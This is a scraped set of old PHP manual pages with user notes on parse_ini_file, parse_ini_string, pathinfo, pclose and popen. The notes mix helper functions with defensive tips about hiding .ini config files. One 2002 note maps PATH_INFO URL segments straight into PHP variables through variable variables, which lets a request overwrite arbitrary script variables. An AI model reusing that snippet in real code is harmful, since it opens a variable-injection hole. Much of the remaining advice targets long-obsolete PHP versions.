        $buf = get_defined_constants(true);
        $consts = array();
        foreach($buf['user'] as $key => $val) {
            $consts['{'.$key.'}'] = $val;
        }
        array_walk_recursive($ini, array('INI', 'replace_consts'), $consts);
        return $ini;
    }
    /**
     *  manage keys
     */
    static function get_value($val) {
        if (preg_match('/^-?[0-9]$/i', $val)) { return intval($val); }
        else if (strtolower($val) === 'true') { return true; }
        else if (strtolower($val) === 'false') { return false; }
        else if (preg_match('/^"(.*)"$/i', $val, $m)) { return $m[1]; }
        else if (preg_match('/^\'(.*)\'$/i', $val, $m)) { return $m[1]; }
        return $val;
    }
    /**
     *  manage keys
     */
    static function get_key($val) {
        if (preg_match('/^[0-9]$/i', $val)) { return intval($val); }
        return $val;
    }
    /**
     *  manage keys
     */
    static function manage_keys(& $ini, $key, $val) {
        if (preg_match('/^([a-z0-9_-]+)\.(.*)$/i', $key, $m)) {
            INI::manage_keys($ini[$m[1]], $m[2], $val);
        } else if (preg_match('/^([a-z0-9_-]+)\[(.*)\]$/i', $key, $m)) {
            if ($m[2] !== '') {
                $ini[$m[1]][INI::get_key($m[2])] = INI::get_value($val);
            } else {
                $ini[$m[1]][] = INI::get_value($val);
            }
        } else {
            $ini[INI::get_key($key)] = INI::get_value($val);
        }
    }
    /**
     *  replace utility
     */
    static function replace_consts(& $item, $key, $consts) {
        if (is_string($item)) {
            $item = strtr($item, $consts);
        }
    }
}

?>
yarco dot w at gmail dot com 29-Jun-2007 10:46
parse_ini_file can't deal with const which cancate a string. For example, if test.ini file is

classPath = ROOT/lib

If you:
<?php
define('ROOT', dirname(__FILE__));

$buf = parse_ini_file('test.ini');
?>

const ROOT would't be parsed.

But my version could work find.

<?php
// array parse_ini_file ( string $filename [, bool $process_sections] )
function parse_ini($filename, $process_sections = false)
{
  function replace_process(& $item, $key, $consts)
  {
    $item = str_replace(array_keys($consts), array_values($consts), $item);
  }

  $buf = get_defined_constants(true); // PHP version > 5.0
  $consts = $buf['user'];
  $ini = parse_ini_file($filename, $process_sections);

  array_walk_recursive($ini, 'replace_process', $consts);
  return $ini;
}

define('ROOT', '/test');
print_r(parse_ini(dirname(__FILE__).'/test.ini'));

?>
Adam 25-Jun-2007 07:45
Arrays can be defined in the ini file by adding '[]' at the end of a key name. For example:

value1 = 17
value2 = 13

value3[] = a
value3[] = b
value3[] = c

Will return:
Array
(
    [value1] => 17
    [value2] => 13
    [value3] => Array
        (
            [0] => a
            [1] => b
            [2] => c
        )
)
Mildred 25-May-2007 09:42
I wrote few functions to work with ini files.

The function make_ini_file($array, &$errors)
The function read_ini($file)
The function prepare_ini($array, $maxdepth=NULL)

The function prepare_ini($array, $maxdepth=NULL)
This function will take an array as returned by the function read_ini() and will return an array as needed by the function make_ini_file() so that you can write extanded ini files easily.
If maxdepth is not given (or if maxdepth is NULL), this function will try to create sections so the keys in the sections do not have dots. if maxdepth is given, it will create sections with $maxdepth members in them (or less if it is not possible). It won't use the special key name "."

<?php

function prepare_ini($arr, $maxdepth=NULL){
    $res = array();
    prepare_ini__1($res, $arr, $maxdepth);
    return $res;
}

function prepare_ini__1(
    &$res, $arr, $maxdepth,
    $prefix1="", $prefix2="", $depth=0,
    $self='prepare_ini__1')
{
    foreach($arr as $key=>$val){
        if(is_array($val)){
            if(is_null($maxdepth) or $depth < $maxdepth){
                $newprefix = $prefix1 ? "$prefix1.$key" : $key;
                $self($res, $val, $maxdepth, $newprefix, $prefix2, $depth+1);
            }else{
                $newprefix = $prefix2 ? "$prefix1.$key" : $key;
                $self($res, $val, $maxdepth, $prefix1, $newprefix, $depth+1);
            }
        }else{
            $newprefix = $prefix2 ? "$prefix2.$key" : $key;
            if(!isset($res[$prefix1])) $res[$prefix1] = array();
            $res[$prefix1][$newprefix] = $val;
        }
    }
}

// kate: indent-width 4; tab-width 8; space-indent on;
// kate: replace-tabs off; remove-trailing-space on;
?>
mark at hostcobalt dot com 27-Mar-2007 09:39
or to prevent the file being viewed you can just use a .htaccess file and add this line

<files *.ini>
order deny,allow
deny from all
</files>

i use a similar thing to prevent my config files being accessed
ant at loadtrax dot com 15-Nov-2006 06:09
A number of posts mention using pear::Config as a replacement for this function. Note however that internally it uses parse_ini_file to read the ini file, so it suffers from the same limitations.
Justin Hall 31-Oct-2006 08:46
This is a simple (but slightly hackish) way of avoiding the character limitations (in values):

<?php
define('QUOTE', '"');
$test = parse_ini_file('test.ini');

echo "<pre>";
print_r($test);
?>

contents of test.ini:

park yesterday = "I (walked) | {to} " QUOTE"the"QUOTE " park yesterday & saw ~three~ dogs!"

output:

<?php
Array
(
    [park yesterday] => I (walked) | {to} "the" park yesterday & saw ~three~ dogs!
)
?>
judas dot iscariote at gmail dot com 01-Oct-2006 09:26
If you are looking for an OOP way to parse ini files, take a look at Marcus Boerger's  IniGroups  class available here :

http://www.php.net/~helly/php/ext/spl/classIniGroups.html
nbraczek at bsds dot de 16-Feb-2006 01:29
Beside the mentioned reserved words 'null', 'yes', 'no', 'true', and 'false', also 'none' seems to be a reserved word. Parsing an ini file stops at a key named 'none'.
mauder[remove] at [remove]gmail[remove] dot com 14-Feb-2006 01:31
Be careful if you put any .ini file in your readable directories, if somebody would know the name (e.g. if your application is widely used), the webserver might return it as plain text.

For example : your database username and password could be exposed, if it is stored in that file !

To prevent this from happening :
- give the file .php extension :  "my.ini.php"
- put ';<?php' (without quotes and without X between X and php) on first line
- put ';?>' on last line

The server would run the ini file as being PHP-code, but will do nothing due to bad syntax, preventing the content from being exosed.
On the other hand, it is still a valid .ini file...

HTH !
22-Sep-2005 10:53
I wrote a replacement function with following changes:
-It allows quotes and double quotes.
-It detects wether your .ini file has sections or not.
-It will read until eof in any case, even if a line contains errors.

I know it can be improved a lot, so feel free to work on it and, please, notify me if you do.

<?php
function parse_ini_file_quotes_safe($f)
{
 $r=$null;
 $sec=$null;
 $f=@file($f);
 for ($i=0;$i<@count($f);$i++)
 {
  $newsec=0;
  $w=@trim($f[$i]);
  if ($w)
  {
   if ((!$r) or ($sec))
   {
    if ((@substr($w,0,1)=="[") and (@substr($w,-1,1))=="]") {$sec=@substr($w,1,@strlen($w)-2);$newsec=1;}
   }
   if (!$newsec)
   {
    $w=@explode("=",$w);$k=@trim($w[0]);unset($w[0]); $v=@trim(@implode("=",$w));
    if ((@substr($v,0,1)=="\"") and (@substr($v,-1,1)=="\"")) {$v=@substr($v,1,@strlen($v)-2);}
    if ($sec) {$r[$sec][$k]=$v;} else {$r[$k]=$v;}
   }
  }
 }
 return $r;
}
?>
dimk at pisem dot net 14-Jul-2005 06:33
Class to access ini values at format "section_name.property", for example $myconf->get("system.name") returns a property "name" in section "system":

<?php
class Settings {

var $properties = array();

    function Settings() {
        $this->properties = parse_ini_file(_SETTINGS_FILE, true);
    }

    function get($name) {
        if(strpos($name, ".")) {
            list($section_name, $property) = explode(".", $name);
            $section =& $this->properties[$section_name];
            $name = $property;
        } else {
            $section =& $properties;
        }

        if(is_array($section) && isset($section[$name])) {
            return $section[$name];
        }
        return false;
    }

}
?>
dreamscape 24-Jun-2005 06:10
I handy function to allow values with new lines if you are PHP4, is the following:

<?php
function prepareIniNl($string) {
    return preg_replace("/(\r\n|\n|\r)/", "\\n", $string);
}
?>

Now, when writing your INI file, parse the value through the function and it will turn for example:

Value line 1
Value line 2

Into literally:

Value line 1\nValue line 2

Which is stored as a single line in the INI file.  And when you read the INI file back into PHP, the \n will be parsed and you're value will be back to:

Value line 1
Value line 2
hfuecks at phppatterns dot com 15-Jul-2004 05:20
parse_ini_file seems to have changed it's signature between PHP 4.3.x and PHP 5.0.0 (can't find any relevant changelog / cvs entries referring to this).

In PHP 4.3.x and below return value was a boolean FALSE if the ini file could not be found. With PHP 5.0.0 the return value is an empty array if the file is not found.
php at isaacschlueter dot com 22-Jun-2004 08:47
Even better than putting the <?php at the head of the file is to do something like this:

--config.ini.php--
; <?php die( 'Please do not access this page directly.' ); ?>
; This is the settings page, do not modify the above line.
setting = value
...
waikeatNOSPAM at archerlogic dot com 09-Nov-2003 03:37
I found that this function will not work on remote files.
I tried

$someArray = parse_ini_file("http://www.example.com/setting.ini");

and it reports

Cannot Open 'http://www.example.com/setting.ini' for reading ...
rus dot grafx at usa dot net 11-Oct-2003 03:15
Instead of using parse_ini_file() function I would recommend to use PEAR's Config package which is MUCH more flexible (assuming that you don't mind using PEAR and OOP). Have a closer look at http://pear.php.net/package/Config
dshearin at excite dot com 20-Jun-2003 05:47
I found another pitfall to watch out for. The key (to the left of the equal sign) can't be the same as one of the predefined values, like yes, no, on, off, etc. I was working on a script that read in an ini file that matched the country codes of top level domains to the full name of the country. I kept getting a parse error everytime it got to the entry for Norway ("no"). I fixed the problem by sticking a dot in front of each of the country codes.
10-May-2003 01:05
If your configuration file holds any sensitive information (such as database login details), remember NOT to place it within your document root folder! A common mistake is to replace config.inc.php files, which are formatted in PHP:
<?php
$database['host'] = 'localhost';
// etc...
?>

With config.ini files which are written in plain text:
[database]
host = localhost

The file config.ini can be read by anyone who knows where it's located, if it's under your document root folder. Remember to place it above!
kieran dot huggins at rogers dot com 07-Jan-2003 07:24
Just a quick note for all those running into trouble escaping double quotes:

I got around this by "base64_encode()"-ing my content on the way in to the ini file, and "base64_decode()"-ing on the way out.

Because base64 uses the "=" sign, you will have to encapsulate the entire value in double quotes so the line looks like this:

    varname = "TmlhZ2FyYSBGYWxscywgT04="

When base64'd, your strings will retain all \n, \t...etc...  URL's retain everything perfectly :-)

I hope some of you find this useful!

Cheers, Kieran
fbeyer at clickhand dot de 29-Nov-2002 06:37
Besides the features mentioned above (eg. core constants, booleans), you can also access user-defined constants in ini files! This is handy if you want to create a bit-field, for example:

<?php
// Define pizza toppings
define('PIZZA_HAM',           1);
define('PIZZA_PINEAPPLE',     2);
define('PIZZA_ONION',         4);
define('PIZZA_MOZARELLA',     8);
define('PIZZA_GARLIC',        16);

// Read predefined pizzas
$pizzas = parse_ini_file('pizzas.ini');

if ($pizzas[$user_pizza] & PIZZA_ONION) {
    // Add onions to the pizza
}
?>

[pizzas]

; Define pizzas
hawaii = PIZZA_HAM | PIZZA_PINEAPPLE
stinky = PIZZA_ONION | PIZZA_GARLIC
bob at kludgebox dot com 26-Mar-2002 07:27
And for the extra-paranoid like myself, add a rule into your httpd.conf file so that *.ini (or *.inc) in my case can't be sent to a browser:

<Files *.inc>
    Order deny,allow
    Deny from all
</Files>


Parse a configuration string

  • « parse_ini_file
  • pathinfo »
  • PHP Manual
  • Filesystem Functions
  • Parse a configuration string

parse_ini_string

(PHP 5 >= 5.3.0)

parse_ini_string — Parse a configuration string

Description

array parse_ini_string ( string $ini [, bool $process_sections = false [, int $scanner_mode = INI_SCANNER_NORMAL ]] )

parse_ini_string() returns the settings in string ini in an associative array.

The structure of the ini string is the same as the php.ini's.

Parameters

ini

The contents of the ini file being parsed.

process_sections

By setting the process_sections parameter to TRUE, you get a multidimensional array, with the section names and settings included. The default for process_sections is FALSE

scanner_mode

Can either be INI_SCANNER_NORMAL (default) or INI_SCANNER_RAW. If INI_SCANNER_RAW is supplied, then option values will not be parsed.

Return Values

The settings are returned as an associative array on success, and FALSE on failure.

Notes

Note: There are reserved words which must not be used as keys for ini files. These include: null, yes, no, true, false, on, off, none. Values null, off, no and false result in "". Values on, yes and true result in "1". Characters ?{}|&~![()^" must not be used anywhere in the key and have a special meaning in the value.

See Also

  • parse_ini_file() - Parse a configuration file

User Contributed Notes

Peter Baylies 01-Nov-2013 04:34
Replacement for php_ini_string() for PHP pre 5.3 - uses php_ini_file() and streams

<?php
if ( !function_exists( 'parse_ini_string' ) ) {
    function parse_ini_string( $string, $process_sections ) {
        if ( !class_exists( 'parse_ini_filter' ) ) {
            /* Define our filter class */
            class parse_ini_filter extends php_user_filter {
                static $buf = '';
                function filter( $in, $out, &$consumed, $closing ) {
                    $bucket = stream_bucket_new( fopen('php://memory', 'wb'), self::$buf );
                    stream_bucket_append( $out, $bucket );
                    return PSFS_PASS_ON;
                }
            }
            /* Register our filter with PHP */
            stream_filter_register("parse_ini", "parse_ini_filter")
            or return false;
        }
        parse_ini_filter::$buf = $string;
        return parse_ini_file( "php://filter/read=parse_ini/resource=php://memory", $process_sections );
    }
}
?>
epicmaxim at gmail dot com 04-Apr-2013 04:51
parse_ini_string_m is analog for a parse_ini_string function.

had to code this function due to the lack of a php 5.3 on some hosting.

parse_ini_string_m:
- ignores commented lines that start with ";" or "#"
- ignores broken lines that do not have "="
- supports array values and array value keys

<?php
function parse_ini_string_m($str) {

    if(empty($str)) return false;

    $lines = explode("\n", $str);
    $ret = Array();
    $inside_section = false;

    foreach($lines as $line) {

        $line = trim($line);

        if(!$line || $line[0] == "#" || $line[0] == ";") continue;

        if($line[0] == "[" &amp;&amp; $endIdx = strpos($line, "]")){
            $inside_section = substr($line, 1, $endIdx-1);
            continue;
        }

        if(!strpos($line, '=')) continue;

        $tmp = explode("=", $line, 2);

        if($inside_section) {

            $key = rtrim($tmp[0]);
            $value = ltrim($tmp[1]);

            if(preg_match("/^\".*\"$/", $value) || preg_match("/^'.*'$/", $value)) {
                $value = mb_substr($value, 1, mb_strlen($value) - 2);
            }

            $t = preg_match("^\[(.*?)\]^", $key, $matches);
            if(!empty($matches) &amp;&amp; isset($matches[0])) {

                $arr_name = preg_replace('#\[(.*?)\]#is', '', $key);

                if(!isset($ret[$inside_section][$arr_name]) || !is_array($ret[$inside_section][$arr_name])) {
                    $ret[$inside_section][$arr_name] = array();
                }

                if(isset($matches[1]) &amp;&amp; !empty($matches[1])) {
                    $ret[$inside_section][$arr_name][$matches[1]] = $value;
                } else {
                    $ret[$inside_section][$arr_name][] = $value;
                }

            } else {
                $ret[$inside_section][trim($tmp[0])] = $value;
            }

        } else {

            $ret[trim($tmp[0])] = ltrim($tmp[1]);

        }
    }
    return $ret;
}
?>

example usage:

<?php
$ini = '

    [simple]
    val_one = "some value"
    val_two = 567

    [array]
    val_arr[] = "arr_elem_one"
    val_arr[] = "arr_elem_two"
    val_arr[] = "arr_elem_three"

    [array_keys]
    val_arr_two[6] = "key_6"
    val_arr_two[some_key] = "some_key_value"

';

$arr = parse_ini_string_m($ini);
?>

variable $arr output:

Array
(
    [simple] => Array
    (
        [val_one] => some value
        [val_two] => 567
    )

    [array] => Array
    (
        [val_arr] => Array
        (
            [0] => arr_elem_one
            [1] => arr_elem_two
            [2] => arr_elem_three
        )
    )

    [array_keys] => Array
    (
        [val_arr_two] => Array
        (
            [6] => key_6
            [some_key] => some_key_value
        )

    )

)


Returns information about a file path

  • « parse_ini_string
  • pclose »
  • PHP Manual
  • Filesystem Functions
  • Returns information about a file path

pathinfo

(PHP 4 >= 4.0.3, PHP 5)

pathinfo — Returns information about a file path

Description

mixed pathinfo ( string $path [, int $options = PATHINFO_DIRNAME | PATHINFO_BASENAME | PATHINFO_EXTENSION | PATHINFO_FILENAME ] )

pathinfo() returns information about path: either an associative array or a string, depending on options.

Parameters

path

The path to be parsed.

options

If present, specifies a specific element to be returned; one of PATHINFO_DIRNAME, PATHINFO_BASENAME, PATHINFO_EXTENSION or PATHINFO_FILENAME.

If options is not specified, returns all available elements.

Return Values

If the options parameter is not passed, an associative array containing the following elements is returned: dirname, basename, extension (if any), and filename.

Note:

If the path has more than one extension, PATHINFO_EXTENSION returns only the last one and PATHINFO_FILENAME only strips the last one. (see first example below).

Note:

If the path does not have an extension, no extension element will be returned (see second example below).

If options is present, returns a string containing the requested element.

Changelog

Version | Description
5.2.0 | The PATHINFO_FILENAME constant was added.

Examples

Example #1 pathinfo() Example

<?php
$path_parts = pathinfo('/www/htdocs/inc/lib.inc.php');

echo $path_parts['dirname'], "\n";
echo $path_parts['basename'], "\n";
echo $path_parts['extension'], "\n";
echo $path_parts['filename'], "\n"; // since PHP 5.2.0
?>

The above example will output:

/www/htdocs/inc
lib.inc.php
php
lib.inc

Example #2 pathinfo() example showing difference between null and no extension

<?php
$path_parts = pathinfo('/path/emptyextension.');
var_dump($path_parts['extension']);

$path_parts = pathinfo('/path/noextension');
var_dump($path_parts['extension']);
?>

The above example will output something similar to:

string(0) ""

Notice: Undefined index: extension in test.php on line 6
NULL

Notes

Note:

For information on retrieving the current path info, read the section on predefined reserved variables.

Note:

pathinfo() is locale aware, so for it to parse a path containing multibyte characters correctly, the matching locale must be set using the setlocale() function.

See Also

  • dirname() - Returns parent directory's path
  • basename() - Returns trailing name component of path
  • parse_url() - Parse a URL and return its components
  • realpath() - Returns canonicalized absolute pathname

User Contributed Notes

Jordan Doyle 05-May-2013 04:47
It's worth nothing that pathinfo returns foo/index.php for the directory when dealing with URLs like foo/index.php/bar
krkbpk at gmail dot com RamaKrishna Kothamasu 13-Feb-2013 12:44
//pathinfo function example
<?php
//passing single argument
echo "<pre>";
print_r(pathinfo("/home/ramki/ramki.pdf"));
echo "</pre>";
//passing two agruments
$path=array(PATHINFO_DIRNAME,PATHINFO_BASENAME,PATHINFO_EXTENSION,PATHINFO_FILENAME);
foreach ($path as $value)
echo "<pre>".pathinfo("/home/ramki/ramki.pdf",$value)."</pre>";
?>
//output
/*
Array
(
    [dirname] => /home/ramki
    [basename] => ramki.pdf
    [extension] => pdf
    [filename] => ramki
)
/home/ramki
ramki.pdf
pdf
ramki
*/
Pietro Baricco 11-Feb-2012 01:00
Use this function in place of pathinfo to make it work with UTF-8 encoded file names too

<?php
function mb_pathinfo($filepath) {
    preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im',$filepath,$m);
    if($m[1]) $ret['dirname']=$m[1];
    if($m[2]) $ret['basename']=$m[2];
    if($m[5]) $ret['extension']=$m[5];
    if($m[3]) $ret['filename']=$m[3];
    return $ret;
}
?>
admin at torntech dot com 27-Jun-2011 06:39
pathinfo will return null if 0 or null is specified for the option argument.
So you'll need to define it's value manually if the option field is omitted, to provide the default functionality.

<?php

    public function getFileInfo($source = null, $option = null){
        if(!$option){
            //1 + 2 + 4
            $option = PATHINFO_DIRNAME + PATHINFO_BASENAME + PATHINFO_EXTENSION;
            if(defined('PATHINFO_FILENAME'))
                $option += PATHINFO_FILENAME; //8
        }
        return pathinfo($source, $option);
    }

    $obj->getFileInfo("/test/file/someFile.txt");
?>
kc8yds at gmail dot com 18-Sep-2009 11:43
any type of url parse_url can handle this will get the extension of

pathinfo(parse_url('URL GOES HERE',PHP_URL_PATH),PATHINFO_EXTENSION)
jjoss at mail dot ru 04-Feb-2009 07:15
pathinfo() which can be used with UTF filenames.

<?php
  function pathinfo_utf($path)
  {
    if (strpos($path, '/') !== false) $basename = end(explode('/', $path));
    elseif (strpos($path, '\\') !== false) $basename = end(explode('\\', $path));
    else return false;
    if (empty($basename)) return false;

    $dirname = substr($path, 0, strlen($path) - strlen($basename) - 1);

    if (strpos($basename, '.') !== false)
    {
      $extension = end(explode('.', $path));
      $filename = substr($basename, 0, strlen($basename) - strlen($extension) - 1);
    }
    else
    {
      $extension = '';
      $filename = $basename;
    }

    return array
    (
      'dirname' => $dirname,
      'basename' => $basename,
      'extension' => $extension,
      'filename' => $filename
    );
  }
?>
aalaap at gmail dot com 02-Feb-2009 04:58
Here is a simple function that gets the extension of a file. Simply using PATHINFO_EXTENSION will yield incorrect results if the path contains a query string with dots in the parameter names (for eg. &x.1=2&y.1=5), so this function eliminates the query string first and subsequently runs PATHINFO_EXTENSION on the clean path/url.

<?php
function extension($path) {
  $qpos = strpos($path, "?");

  if ($qpos!==false) $path = substr($path, 0, $qpos);

  $extension = pathinfo($path, PATHINFO_EXTENSION);

  return $extension;
}
?>
php [spat] hm2k.org 13-Jan-2009 01:27
A little compat for < 5.2

<?php

function pathinfo_filename($file) { //file.name.ext, returns file.name
    if (defined('PATHINFO_FILENAME')) return pathinfo($file,PATHINFO_FILENAME);
    if (strstr($file, '.')) return substr($file,0,strrpos($file,'.'));
}

?>
php-manual at spunts dot net 24-Dec-2008 06:19
For a good example of how platform independent this function is have a look at the different return values that Lostindream and I experienced. Mine is above and Lostindream's is below:

Array
(
    [dirname] => /www/psychicblast/images/1
    [basename] => my three girlfriends.jpg
    [extension] => jpg
)

Array
(
    [dirname] => /www/htdocs
    [basename] => index.html
    [extension] => html
    [filename] => index
)
z
benjaminhill at gmail dot com 03-Dec-2008 06:18
A warning: this function varies depending on the platform it is being run on.  For example, pathinfo('C:\Program Files\Adobe\Reader 9.0\Reader\AcroRd32.exe') will return a different result when run through a winOS PHP platform (local development) vs. a server's UNIX-based OS.  A bit like the Locale settings, but unexpected.
Lostindream at atlas dot cz 19-Aug-2008 10:43
at example from "qutechie at gmail dot com" you can only replace function 'strpos' with 'strrpos'. (strrpos — Find position of last occurrence of a char in a string)

It's simple. For example:
<?php

function filePath($filePath)
{
 $fileParts = pathinfo($filePath);

 if(!isset($fileParts['filename']))
 {$fileParts['filename'] = substr($fileParts['basename'], 0, strrpos($fileParts['basename'], '.'));}

 return $fileParts;
}

$filePath = filePath('/www/htdocs/index.html');
print_r($filePath);
?>

Output will be:
Array
(
    [dirname] => /www/htdocs
    [basename] => index.html
    [extension] => html
    [filename] => index
)
leons87_AT_hotmail_DOT_com 15-Aug-2008 01:47
qutechie at gmail dot com wrote a fix for support for filename in PHP 4; however it gets it wrong whenever you have a filename with a . in it (so foo.bar.jpg would return foo instead of foo.bar).

A fix would be:
<?php
if(!isset($path_parts['filename'])){
    $reversed_filename = strrev( $path_parts['basename'] );
    $path_parts['filename'] = strrev( substr( $reversed_filename, strpos( $reversed_filename, '.' ) + 1 ) );
}
?>

The idea is that you reverse the string and create a substring that starts after the first '.' and then reverse the result.
qutechie at gmail dot com 22-Jul-2008 03:29
Quick fix for lack of support for 'filename' in php4

<?php
$path_parts = pathinfo('/www/htdocs/index.html');

echo $path_parts['dirname'], "\n";
echo $path_parts['basename'], "\n";
echo $path_parts['extension'], "\n";
echo $path_parts['filename'], "\n"; // since PHP 5.2.0

// if php4
              if(!isset($path_parts['filename'])){
                $path_parts['filename'] = substr($path_parts['basename'], 0,strpos($path_parts['basename'],'.'));
              }

?>
christian dot reinecke at web dot de 24-Feb-2008 04:46
if you call pathinfo with a filename in url-style (example.php?with=parameter), make sure you remove the given parameters before, otherwise they will be returned as part of the extension.

extension => php?with=parameter
tom at foo-bar dot co dot uk 30-Jan-2008 03:48
Note that this function seems to just perform string operations, and will work even on a non-existent path, e.g.

<?php
print_r(pathinfo('/no/where/file.txt'));
?>

which will output:
Array
(
    [dirname] => /no/where
    [basename] => file.txt
    [extension] => txt
    [filename] => file
)
davidblinco at gmail dot com 26-Jan-2008 04:27
This function is not perfect, but you can use it to convert a relative path to a URL.
Please email me if you can make any improvements.

<?php
function mapURL($relPath) {
    $filePathName = realpath($relPath);
    $filePath = realpath(dirname($relPath));
    $basePath = realpath($_SERVER['DOCUMENT_ROOT']);

    // can not create URL for directory lower than DOCUMENT_ROOT
    if (strlen($basePath) > strlen($filePath)) {
        return '';
    }

    return 'http://' . $_SERVER['HTTP_HOST'] . substr($filePathName, strlen($basePath));
}
?>
henrik at not-an-address dot com 21-Dec-2007 07:23
If you have filename with utf-8 characters, pathinfo will strip them away:

print_r(pathinfo("/mnt/files/飛兒樂團光茫.mp3"));

 .. will display:

Array
(
    [dirname] => /mnt/files
    [basename] => .mp3
    [extension] => mp3
    [filename] =>
)
mrnemesis at ntlworld dot com 19-Dec-2007 04:22
Note that in PHP 4 (if you're stuck using it), pathinfo only provides dirname, basename, and extension, but not filename. This function will not split a file's stem and extension for you.
avi-team at inbox dot lv 15-Jul-2007 05:14
You shouldn't assign values as it is described in previous post
// wrong:
list( $dirname, $basename, $extension, $filename ) = array_values( pathinfo($file) );

if $file has no extension, you get wrong variable values: $extension would be assigned with 'filename' array element of pathinfo() result, but $filename - would be empty.
phpnet at whoisgregg dot com 30-May-2007 08:01
If you want to easily assign the values returned by pathinfo to separate variable names, list isn't enough. You can use array_values() first to convert the associative array into the indexed array that list() expects:

// throws notices, variables aren't set
list( $dirname, $basename, $extension, $filename ) = pathinfo($file);

// works
list( $dirname, $basename, $extension, $filename ) = array_values( pathinfo($file) );
cochise_chiracahua at hotmail.com 25-Nov-2005 08:55
Sometimes, it's interessant to get the basename without extension.
So, I appended a new entry 'basenameWE' (Basename Without Extension) to the returned array.

<?php

// pathinfo improved
function pathinfo_im($path) {

    $tab = pathinfo($path);

    $tab["basenameWE"] = substr($tab["basename"],0
    ,strlen($tab["basename"]) - (strlen($tab["extension"]) + 1) );

    return $tab;
}

$my_path = "/var/www/html/example.html";

echo "<pre>\n";
print_r( pathinfo_im($my_path) );
echo "</pre>\n";

?>

Out :

Array
(
    [dirname] => /var/www/html
    [basename] => example.html
    [extension] => html
    [basenameWE] => example
)
n0dalus 08-Feb-2005 10:47
If a file has more than one 'file extension' (seperated by periods), the last one will be returned.
For example:
<?php
$pathinfo = pathinfo('/dir/test.tar.gz');
echo 'Extension: '.$pathinfo['extension'];
?>
will produce:
Extension: gz

and not tar.gz
03-Dec-2004 01:39
If you want only the file extension, use this:
<?php
$extension = substr(strrchr($filename, "."), 1);
?>
This is many times faster than using pathinfo() and getting the value from array.
rob at webdimension dot co dot uk 04-Oct-2004 03:48
Further to my previous post.

This affects servers that run PHP as a cgi module

If you have your own server:
You can use the AcceptPathInfo directive to force the core handler to accept requests with PATH_INFO and thereby restore the ability to use PATH_INFO in server-side includes.

Further information:
http://httpd.apache.org/docs-2.0/mod/core.html#acceptpathinfo
albertof at deltasoft dot com dot ar 29-May-2002 10:10
This code is to work in index.php/var/var

if(isset($PATH_INFO)) {
      $viewcode = explode('/', $PATH_INFO);
        $num = count($viewcode);
        if($num % 2 == 0) {
            $viewcode[] = '';
            $num++;
        }
        for($i = 1; $i < $num; $i += 2) {

            $$viewcode[$i] = $viewcode[$i+1];

          }
    }
m-symons at home dot com 25-Aug-2001 03:54
Here's a neat wee function to grab the relative path to root (especially useful if you're using mock-directories to pass variables into scripts with mod_rewrite).  The function simply iterates through every occurence of "/" within the REQUEST_URI environment variable, appending "../" to the output for every instance:

<?php

function path_to_root($path) {

    $pathinfo = pathinfo($path);

    $deep = substr_count($pathinfo[dirname], "/");

    $path_to_root = "./";

    for($i = 1; $i <= $deep; $i++) {

        $path_to_root .= "../";

    }

    return $path_to_root;
}

path_to_root($REQUEST_URI);

?>


Closes process file pointer

  • « pathinfo
  • popen »
  • PHP Manual
  • Filesystem Functions
  • Closes process file pointer

pclose

(PHP 4, PHP 5)

pclose — Closes process file pointer

Description

int pclose ( resource $handle )

Closes a file pointer to a pipe opened by popen().

Parameters

handle

The file pointer must be valid, and must have been returned by a successful call to popen().

Return Values

Returns the termination status of the process that was run. In case of an error then -1 is returned.

Examples

Example #1 pclose() example

<?php
$handle = popen('/bin/ls', 'r');
pclose($handle);
?>

Notes

Note: Unix Only:

pclose() is internally implemented using the waitpid(3) system call. To obtain the real exit status code the pcntl_wexitstatus() function should be used.

See Also

  • popen() - Opens process file pointer

User Contributed Notes

Mike 07-Apr-2008 08:55
The termination status, as pointed out in another note, is not the same as the exit status from the process. However, something like "pclose($fp)/256" is not the correct way to extract the exit status, since this uses system- and version-specific knowledge of where in the termination status the exit status is stored. (Also, the process may not even have exited normally, so it may not have an exit status at all.)

Instead, the functions pcntl_wifexited() and pcntl_wexitstatus() should be used. They are wrappers for the C macros WIFEXITED() and WEXITSTATUS() that are designed for determining whether the process had an exit status and what that status was, respectively.
kcross at nssolutions dot com 16-Jul-2003 11:08
Somewhere between 4.1.1 and 4.2.3, the return value from pclose changed.

The exit status used to be in the second byte, so that the status would be (pclose($fp)/256).

It is now in the low-order byte, so the status is just pclose($fp).

Be careful.
vdweij at mailsurf dot com 12-Mar-2003 04:18
As I understand pclose will return 0 (on every platform) in case popen could not execute the specified command.

Since popen only returns the status wether it was able to send a command and not wether it was succesfully executed. Only the returned value of pclose can be used to check wether a command could be executed.


Opens process file pointer

  • « pclose
  • readfile »
  • PHP Manual
  • Filesystem Functions
  • Opens process file pointer

popen

(PHP 4, PHP 5)

popen — Opens process file pointer

Description

resource popen ( string $command , string $mode )

Opens a pipe to a process executed by forking the command given by command.

Parameters

command

The command

mode

The mode

Return Values

Returns a file pointer identical to that returned by fopen(), except that it is unidirectional (may only be used for reading or writing) and must be closed with pclose(). This pointer may be used with fgets(), fgetss(), and fwrite(). When the mode is 'r', the returned file pointer equals to the STDOUT of the command, when the mode is 'w', the returned file pointer equals to the STDIN of the command.

If an error occurs, returns FALSE.

Examples

Example #1 popen() example

<?php
$handle = popen("/bin/ls", "r");
?>

If the command to be executed could not be found, a valid resource is returned. This may seem odd, but makes sense; it allows you to access any error message returned by the shell:

Example #2 popen() example

<?php
error_reporting(E_ALL);

/* Add redirection so we can get stderr. */
$handle = popen('/path/to/executable 2>&1', 'r');
echo "'$handle'; " . gettype($handle) . "\n";
$read = fread($handle, 2096);
echo $read;
pclose($handle);
?>

Notes

Note:

If you're looking for bi-directional support (two-way), use proc_open().

Note: When safe mode is enabled, you can only execute files within the safe_mode_exec_dir. For practical reasons, it is currently not allowed to have .. components in the path to the executable.

Warning

With safe mode enabled, the command string is escaped with escapeshellcmd(). Thus, echo y | echo x becomes echo y \| echo x.

See Also

  • pclose() - Closes process file pointer
  • fopen() - Opens file or URL
  • proc_open() - Execute a command and open file pointers for input/output

User Contributed Notes

anonymous at anon dot com 08-Feb-2011 10:39
If, on windows, you need to start a batch file that needs administrator privileges, then you can make a shortcut to the batch file, click properties, check to on "run as administrator" on one of the property pages, and then double-click the shortcut once (to initialize that "run as administrator" business).

using popen("/path/to/shortcut.lnk") will then run your batch file with administrator privileges.

handy for when you want to use cli php to do some long running tasks and that php-cli needs to use sessions..
mrjake2 07-Sep-2010 01:08
